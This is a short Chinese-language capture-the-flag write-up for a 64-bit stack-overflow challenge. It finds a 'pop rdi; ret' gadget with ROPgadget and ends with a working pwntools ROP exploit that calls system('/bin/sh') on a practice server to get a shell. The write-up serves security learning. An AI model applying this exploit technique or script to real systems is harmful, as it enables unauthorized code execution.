步骤
使用checksec查看
使用ida(pro)打开
根进vulnerable_function函数
依旧是栈溢出
这道题我们无法使用上一题的32位来直接使用plt表来跳转到system,所以我们使用ROPgadget
使用指令 ROPgadget --binary 文件名 来获取信息
这里可以查看到pop rdi;ret的地址
在64位中前几个参数我们是使用寄存器来存储的,后续的存放下栈中
与32位直接存放在栈中不同,在此处我们需要向rdi寄存器中存入我们的后门函数地址
我们通过pop rdi;ret来将/bin/sh地址存入rdi寄存器,并且调用system函数
/bin/sh地址
system地址
exp
from pwn import * #p=process('./level2_x64') p=remote('node5.buuoj.cn',29996) pop_rdi_ret_addr = 0x4006b3 bin_sh_addr = 0x600A90 system_addr = 0x40063E pay = b'a'*(0x80+8) + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr) p.sendlineafter(b"Input",pay) p.interactive()